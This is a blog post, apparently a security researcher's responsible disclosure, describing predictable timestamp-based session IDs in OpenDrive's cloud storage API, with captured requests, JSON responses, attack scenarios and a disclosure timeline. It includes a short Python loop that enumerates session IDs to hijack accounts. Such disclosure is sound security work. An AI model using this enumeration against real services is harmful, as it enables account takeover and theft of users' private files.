Compromising OpenDrive’s Cloud Storage Accounts – Or How Not to Design Session Management

While recently comparing cloud storage solutions, I was surprised to learn there are still companies offering unlimited storage plans. OpenDrive is one such company — not to be confused with the OpenDRIVE format specification — offering unlimited options for personal, business, and enterprise customers.

In addition to traditional cloud storage, they also offer backup and content management solutions with software clients available for most desktop and mobile platforms. According to their website, they have some big name customers, including T-Mobile, Ancestry.com, and REMAX.

Discovery

I signed up for a trial account and decided to test drive the web client. After uploading a few test files, I took a look at the markup and API requests. I quickly noticed the UI was mostly powered by WordPress (like OpenDrive’s main site) with some apparent customizations for styling, login, and API consumption:

I also noticed some calls to two API domains in my HTTP proxy: one on the same www subdomain authenticated with cookies, the other on a web subdomain authenticated with a separate session ID:

GET https://web.opendrive.com/api/v1/download/file.json/ABC123***REMOVED***?session_id=1517592191112474005&inline=0&preview=1 HTTP/1.1
Host: web.opendrive.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
Accept: image/webp,image/apng,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Note the previously-valid session_id value included in the query string above.

session_id=1517592191112474005

The value is suspiciously close to a Unix Timestamp, meaning it would have likely been derived from the exact time of the user’s initial login request — not good! In fact, the first ten digits of the value convert exactly to that: the date/time of my account first logged in.

It seemed likely that the remaining nine digits from the above session_id were simply more precise values of the same login time, e.g. milliseconds from a server-side function like PHP’s microtime. I attempted to prove this by issuing numerous login requests in succession to compare the generated session_id values — as predicted, they were all sequential. I’ve come across some serious design flaws in the past, but this one seemed to be a top contender.

Next, I decided to see where else this session generation pattern was used and how it might impact the security landscape of OpenDrive’s products as a whole. The usage of this particular API domain within the web client was limited, so I installed the OpenDrive Android app.

While proxying the requests on my device, I logged in and starting browsing files, moving folders, and accessing other details of my account. Almost unsurprisingly, all API endpoints used the same flawed session_id generation scheme from above. Here’s an example request:

GET https://ai2.opendrive.com/api/v1/users/info.json/1517592191112474005 HTTP/1.1
session_id: 1517592191112474005
Host: ai2.opendrive.com
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/3.7.0

And the corresponding JSON response:

{
	"UserID": 1853669,
	"AccessUserID": 0,
	"UserName": "***REMOVED***",
	"UserFirstName": "***REMOVED***",
	"UserLastName": "***REMOVED***",
	"PrivateKey": "***REMOVED***",
	"Trial": "0",
	"UserSince": "1517591533",
	"BwResetLast": "1517591533",
	"AccType": "1",
	"MaxStorage": "5120",
	"StorageUsed": "361144",
	"BwMax": "1024",
	"BwUsed": "0",
	"FVersioning": "0",
	"FVersions": "10",
	"DailyStat": 0,
	"UserLang": "en",
	"MaxFileSize": "102400",
	"Level": "1",
	"UserPlan": "Basic Plan",
	"TimeZone": "America\/Los_Angeles",
	"MaxAccountUsers": "1",
	"IsAccountUser": 0,
	"CompanyName": "",
	"Email": "***REMOVED***",
	"Phone": "",
	"Avatar": null,
	"AvatarColor": "a38f84",
	"AdminMode": 1,
	"DueDate": "0000-00-00",
	"WebLink": "",
	"PublicProfiles": 0,
	"RootFolderPermission": 2,
	"CanChangePwd": 1,
	"IsPartner": 0,
	"Partner": "OpenDrive",
	"SupportUrl": "http:\/\/support.opendrive.com",
	"PartnerUsersDomain": ".opendrive.com",
	"Suspended": false,
	"Affiliation": "0",
	"UserUID": "5ac61707c2ee6"
}

Again, this meant that all aspects of this application were controlled by a highly predictable, sequential “session” value. Here’s another example request used to fetch folder contents:

GET https://ai2.opendrive.com/api/v1/folder/list.json/1517592191112474005/NjlfMTA2NzgyNF93RjZaUw?last_request_time=0&offset=0 HTTP/1.1
session_id: 1517592191112474005
Host: ai2.opendrive.com
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/3.7.0

And the results:

{
	"DirUpdateTime": "1522940036",
	"Name": "Pictures",
	"ParentFolderID": "NjlfMF93RjZaUw",
	"DirectFolderLink": "https:\/\/od.lk\/fl\/NjlfMTA2NzgyNF8",
	"ResponseType": 1,
	"Folders": [],
	"Files": [{
		"FileId": "NjlfNzU3MTg2OV9RRDgxUA",
		"Name": "1337.jpg",
		"GroupID": 0,
		"Extension": "jpg",
		"Size": "5289",
		"Views": "0",
		"Version": "",
		"Downloads": "1",
		"DateModified": "1522940033",
		"Access": "2",
		"Link": "https:\/\/od.lk\/f\/NjlfNzU3MTg2OV8",
		"DownloadLink": "https:\/\/od.lk\/d\/NjlfNzU3MTg2OV8\/1337.jpg",
		"StreamingLink": "https:\/\/od.lk\/s\/NjlfNzU3MTg2OV8\/1337.jpg",
		"TempStreamingLink": "https:\/\/ai2.opendrive.com\/api\/download\/file.json\/NjlfNzU3MTg2OV8?inline=1",
		"ThumbLink": "https:\/\/ai2.opendrive.com\/api\/file\/thumb.json\/NjlfNzU3MTg2OV9RRDgxUA?session_id=19ebbbef64d8a5404cc0b16603cea3de659c607a23ae639986d5e5c477f6b5e8",
		"Password": "",
		"EditOnline": 1
	}, {
		"FileId": "NjlfNzU3MTg3MF9ZQ3NDYg",
		"Name": "test.jpg",
		"GroupID": 0,
		"Extension": "jpg",
		"Size": "51756",
		"Views": "0",
		"Version": "",
		"Downloads": "0",
		"DateModified": "1522940034",
		"Access": "2",
		"Link": "https:\/\/od.lk\/f\/NjlfNzU3MTg3MF8",
		"DownloadLink": "https:\/\/od.lk\/d\/NjlfNzU3MTg3MF8\/test.jpg",
		"StreamingLink": "https:\/\/od.lk\/s\/NjlfNzU3MTg3MF8\/test.jpg",
		"TempStreamingLink": "https:\/\/ai2.opendrive.com\/api\/download\/file.json\/NjlfNzU3MTg3MF8?inline=1",
		"ThumbLink": "https:\/\/ai2.opendrive.com\/api\/file\/thumb.json\/NjlfNzU3MTg3MF9ZQ3NDYg?session_id=19ebbbef64d8a5404cc0b16603cea3de659c607a23ae639986d5e5c477f6b5e8",
		"Password": "",
		"EditOnline": 1
	}]
}

It’s hard to even consider this a vulnerability rather than a fundamental design flaw. Any user account in the OpenDrive system could have easily been hijacked and had their private files compromised with a simple script:

url = "https://ai2.opendrive.com/api/v1/users/info.json"
session = 1517592191112474005

while True:
    f_url = "{}/{}".format(url, session)
    r = requests.get(f_url)

    if r.status_code == 200:
        print(f_url)
    session -= 1

Exploit Scenarios

The risks of this session issue were obvious, but two attack scenarios particularly concerned me: first, an attacker with even modest resources could have easily scanned for random valid user sessions in the system; second, targeted attacks of individual users would have only required knowledge of the user’s approximate login time — dramatically narrowing an attacker’s session search range.

These risks were further exacerbated:

  • Sessions never seemed to expire — my February sessions were still active in the system by March
  • Every login produces a new session, meaning any given user was likely to have multiple session entries
  • Vulnerable session generation was not limited to the Android app/client; sessions were generated for all clients (including web and desktop). This means virtually every OpenDrive user was affected.

It’s unclear just how many sessions would have existed in the system prior to OpenDrive’s remediation, but it’s obvious the issue posed a serious threat.

Disclosure

I got in touch with OpenDrive to report the vulnerability through their customer support channel. The experience was fairly smooth at first, but later got confusing and responses trailed off:

2017-02-05 Initial report to OpenDrive Support
2017-02-06 Response received that issue was forwarded to devs
2017-02-13 I follow up – response received that it’s still in progress
2017-02-22 I follow up – response received that OpenDrive will get back shortly. I never heard back.
2017-03-01 I follow up – no response
2017-03-08 I follow up again – response received that there’s no update, “but we’ve heard that it could have been fixed already. Can you confirm, do you still see that it is not fixed?”
2017-03-09 I follow up for clarification on previous response. Support “heard” it was fixed???
2017-03-09 OpenDrive confirms a fix was released

While OpenDrive did eventually release a patch after some prodding, communication was certainly lacking. They also seemed oddly unalarmed with the issue, ostensibly treating it as a low-priority bug rather than a critical vulnerability in their core product.

With that said, their patch was effective and I confirmed previously affected sessions discussed above were invalidated. OpenDrive later sent me a $50 bounty in appreciation of the report.

Share this: Facebooktwitterlinkedin